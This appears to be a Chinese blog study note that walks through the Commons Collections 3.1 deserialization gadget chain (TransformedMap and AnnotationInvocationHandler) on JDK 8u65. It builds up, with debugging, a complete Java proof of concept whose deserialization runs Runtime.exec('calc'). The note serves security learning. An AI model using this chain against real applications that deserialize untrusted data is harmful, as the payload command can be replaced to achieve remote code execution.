序
其实之前看文章、看视频学过一遍,也记了笔记,但是印象不深,面试被问到还是说不清楚,所以决定自己跟一下代码流程,并作此记录。
环境配置
1.commons-collections 3.1-3.2.1
在pom.xml中写入以下依赖
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
|
2.jdk < 8u71,这里使用jdk8u65,下载地址https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
别去中文官网,会下成jdk8u111,下载安装之后进入jdk目录,解压src.zip到src目录下
3.下载openjdk8u65,https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载zip,解压,进入该文件夹的 src/share/classes目录下,将 sun 文件夹复制到jdk8u65的 src 文件夹中,并在IDEA的项目结构->SDKs->source path处把原来的src.zip换成刚刚新建的src文件夹。如果没有这一步,由于没有.java文件,idea会反编译class文件,变量名难读且在Find usage的时候搜不到。maven也有class文件,应该选择download source
反射调用
反射的概念
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制(注意关键词:运行状态)换句话说,Java程序可以加载一个运行时才得知名称的class,获悉其完整构造(但不包括methods定义),并生成其对象实体、或对其fields设值、或唤起其methods。
为啥要用反射?
原来,Java安全机制会对代码的执行进行限制,例如限制代码的访问权限、限制代码的资源使用等。如果代码需要执行一些危险的操作,例如执行系统命令,就需要获取Java的安全权限。获取Java的安全权限需要经过一系列的安全检查,例如检查代码的来源、检查代码的签名等。如果代码没有通过这些安全检查,就无法获取Java的安全权限,从而无法执行危险的操作。然而,反射机制可以绕过Java安全机制的限制,比如可以访问和修改类的私有属性和方法,可以调用类的私有构造方法,可以创建和访问动态代理对象等。这些操作都是Java安全机制所禁止的,但是反射机制可以绕过这些限制,从而执行危险的操作。
反射弹计算器
下面给出一个反射弹计算器的demo
1 2 3 4 5 6 7
| public static void main(String[] args)throws Exception { Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method execMethod = c.getMethod("exec",String.class); execMethod.invoke(r,"calc"); }
|
这是Commons Collections 库中的一个类,他的transform方法也有一段反射:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class InvokerTransformer implements Transformer, Serializable { public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch .....
}
|
也就是说,刚才弹计算器的方法还可以这么写:
1 2 3 4 5
| public static void main(String[] args)throws Exception { Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); }
|

如图,现在已经找到了最后执行恶意代码的位置,现在需要找谁调用了transform方法
在transform方法上选择Find usage,找到了TransformedMap类的checkSetValue方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
|
checkSetValue方法调用了valueTransformer参数的transform方法,找构造函数发现valueTransformer是传入的参数,但构造函数是protected,发现decorate方法调用了构造函数并且返回一个Map类型的参数
并且TransformedMap是继承自AbstractInputCheckedMapDecorator类的,AbstractInputCheckedMapDecorator有如下定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { public Set entrySet() { if (isSetValueChecking()) { return new EntrySet(map.entrySet(), this); } else { return map.entrySet(); } } protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
|
并且这里的setvalue方法调用了parent.checkSetValue,且value可控,然后发现parent来自protected EntrySet,接着向上找到public Set entrySet()有一个new EntrySet(map.entrySet(), this);完美
由上,再套一层,给出如下代码
1 2 3 4 5 6 7 8 9 10 11 12
| public static void main(String[] args)throws Exception { Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap(); map.put("key","aaa"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); } }
|
调用图如下

AnnotationInvocationHandler
在AbstractInputCheckedMapDecorator类中的setValue方法上Find usage,可以直接找到重写了readObject的类调用了setValue方法,而且调用了entryset遍历map,即AnnotationInvocationHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| class AnnotationInvocationHandler implements InvocationHandler, Serializable { private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject();
AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
|
构造函数如下:
1 2 3 4 5 6 7 8 9
| AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
|
这个类没有显式给出访问控制,即为default类型,只有同一包内的类可以访问,所以不能直接用,还是反射,用InvokerTransformer类
1 2 3
| Method getRuntimemethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|
但是这么写有点麻烦,可以直接用ChainedTransformer。
ChainedTransformer也是一个Transformer的实现类,这个类自己维护了一个Transformer 数组, 在调用 ChainedTransformer 的 transform方法时,会循环数组,依次调用Transformer数组中每个Transformer的transform 方法,并将结果传递给下一个 Transformer。

ConstantTransformer会返回一个常量,该常量是传入的 Runtime.class,然后跟在它后面再连接起来
所以直接写成下面这样
1 2 3 4 5 6
| ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) });
|
现在,我们的代码是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class CC1WithTransformedMap { public static void main(String[] args)throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) });
HashMap<Object,Object> map = new HashMap(); map.put("key","aaa"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor= c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o =annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin"); }
|
但是这样是触发不了的,打断点看一下

可以看到这里有一个判断,memberType如果是null就不会进入到setValue方法,这里是空,研究一下
1
| Map<String, Class<?>> memberTypes = annotationType.memberTypes();
|
这行代码是获取注解类的成员变量及其类型,而Override注解类并没有成员变量

所以memberTypes里面没东西,memberType自然也就是null

所以需要我们传入的注解类是有成员变量的,这里用Target.class

此处修改代码,把Override.class换成Target.class,再调试一下

此时memberTypes已经有东西了,而且看到里面的key是”value”,这是Target.class里的value属性
但是memberTypes.get(name)之后的memberType就没东西了
于是接着分析代码,这段代码是遍历Map中的键值对
1 2 3
| for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name);
|
memberValues是AnnotationInvocationHandler的构造函数的第二个参数,看前面代码,我们传进去的是
1 2 3
| map.put("key","aaa"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Object o =annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);
|
打断点看一下new 的AnnotationInvocationHandler

发现memberValues里面的map正是我们传进去的map:”key”->”aaa”。而memberTypes里面没有叫”key”的键,所以memberType就是null。
所以,应该把传入的map的键改成Target.class里面有的键,即value。
当在memberTypes中的注解类的成员变量的键非空(Target.class类的value属性),才能进入到getValue。
下面还有一个判断:
1
| if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
|
value既不是memberType类型的实例,也不是ExceptionProxy类型的实例

判断为true,memberValue调用setValue方法,即transformedMap调用setValue,然后调用checkSetValue,然后transform,然后弹计算器

总结
1.前面提到的注解类的成员变量,不一定必须是Target.class,su18的文章中用的是Generated.class的comments 属性
2.我这篇文章的脉络是跟着白日梦组长走的,网上貌似把这条链子叫做CC0,CC1用的是LazyMap,后面我写的CC6会用到LazyMap,可以结合着看
参考
https://su18.org/post/ysoserial-su18-2/
https://www.bilibili.com/video/BV1no4y1U7E1